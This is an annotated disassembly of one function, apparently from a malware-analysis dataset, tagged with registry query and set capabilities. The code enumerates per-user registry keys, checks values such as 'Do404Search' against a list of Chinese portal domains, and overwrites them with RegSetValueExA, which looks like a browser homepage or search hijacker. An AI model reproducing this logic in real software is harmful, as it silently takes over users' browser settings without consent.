Function at 0x402140
Capabilities:
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x41db66
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x12c
mov eax, dword [esp + 0x140]
push ebx
push ebp
push esi
mov dword [esp + 0x24], ecx
push edi
push eax
lea ecx, [esp + 0x14]
call fcn.00415796
mov ecx, dword [0x426e28]
xor ebp, ebp
mov dword [esp + 0x144], ebp
mov dword [esp + 0x18], ecx
mov esi, dword [esp + 0x14c]
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x24]
mov byte [esp + 0x144], 1
push edx
push 0x20019
push ebp
push ebp
push esi
mov dword [esp + 0x34], 0x104
call edi
cmp eax, ebp
jne 0x40241a
xor ebx, ebx
test ebp, ebp
je 0x4021cd
cmp ebp, 0xea
jne 0x40241a
lea eax, [esp + 0x30]
lea ecx, [esp + 0x20]
push eax
mov eax, dword [esp + 0x28]
push 0
push 0
push 0
lea edx, [esp + 0x48]
push ecx
push edx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea ecx, [esp + 0x38]
lea edx, [esp + 0x18]
push ecx
push 0x42615c
push edx
mov ebp, eax
mov dword [esp + 0x2c], 0x104
call fcn.004144bb
add esp, 0xc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x18]
push eax
call fcn.00415af4
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x14]
push ecx
push 0x20019
push 0
push edx
push esi
call edi
test eax, eax
jne 0x40226f
mov ecx, dword [esp + 0x154]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40226f
push eax
push eax
push eax
push eax
mov eax, dword [esp + 0x24]
push str.Do404Search
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x402275
inc ebx
jmp 0x4021bd
push 0xf003f
push ecx
lea edx, [esp + 0x20]
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
push str.USERS_
push ecx
call fcn.004159e5
mov ebx, dword [esp + 0x30]
mov ecx, ebx
call fcn.00403400
mov eax, dword [esp + 0x14]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call ebp
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x14]
push ecx
push 0xf003f
push 0
push edx
push esi
call edi
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x1c]
push eax
push ecx
lea ecx, [esp + 0x18]
call fcn.00415b0c
mov esi, dword [esp + 0x158]
mov edx, dword [esp + 0x18]
push eax
push 0
push 0
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
call fcn.00415b5b
push str..go2000.
lea ecx, [esp + 0x14]
call fcn.00414135
inc eax
jne 0x4023aa
push str..1188.
lea ecx, [esp + 0x14]
call fcn.00414135
inc eax
jne 0x4023aa
push str..qq5.
lea ecx, [esp + 0x14]
call fcn.00414135
inc eax
jne 0x4023aa
push str..baidu.
lea ecx, [esp + 0x14]
call fcn.00414135
inc eax
jne 0x4023aa
push str..hao123.
lea ecx, [esp + 0x14]
call fcn.00414135
inc eax
jne 0x4023aa
push str..365j.
lea ecx, [esp + 0x14]
call fcn.00414135
inc eax
jne 0x40239d
push str..haha1234.
lea ecx, [esp + 0x14]
call fcn.00414135
inc eax
jne 0x40239d
push str..yy2000.
lea ecx, [esp + 0x14]
call fcn.00414135
inc eax
jne 0x40239d
push str..zhongjz.
lea ecx, [esp + 0x14]
call fcn.00414135
inc eax
jne 0x40239d
mov ecx, ebx
call fcn.00403a10
jmp 0x4023d4
lea eax, [esp + 0x10]
lea ecx, [ebx + 0x90]
push eax
jmp 0x4023cf
lea edi, [ebx + 0x90]
lea ecx, [esp + 0x10]
push edi
call fcn.00415815
push 0x426574
lea ecx, [esp + 0x14]
call fcn.00415ab8
lea ecx, [esp + 0x10]
push ecx
mov ecx, edi
call fcn.00415815
mov eax, dword [ebx + 0x90]
mov edx, dword [esp + 0x158]
mov ecx, dword [eax - 8]
push ecx
push eax
mov eax, dword [esp + 0x1c]
push edx
push 0
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 0x20019
push ecx
lea edx, [esp + 0x20]
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
push str.USERS_
push ecx
call fcn.004159e5
mov ecx, ebx
call fcn.00403400
jmp 0x402420
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x24]
push eax
call ebp
mov ecx, dword [esp + 0x14]
push ecx
call ebp
lea ecx, [esp + 0x18]
mov byte [esp + 0x144], 0
call fcn.00415728
lea ecx, [esp + 0x10]
mov dword [esp + 0x144], 0xffffffff
call fcn.00415728
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebp
xor eax, eax
mov dword fs:[0], ecx
pop ebx
add esp, 0x138
ret 0x14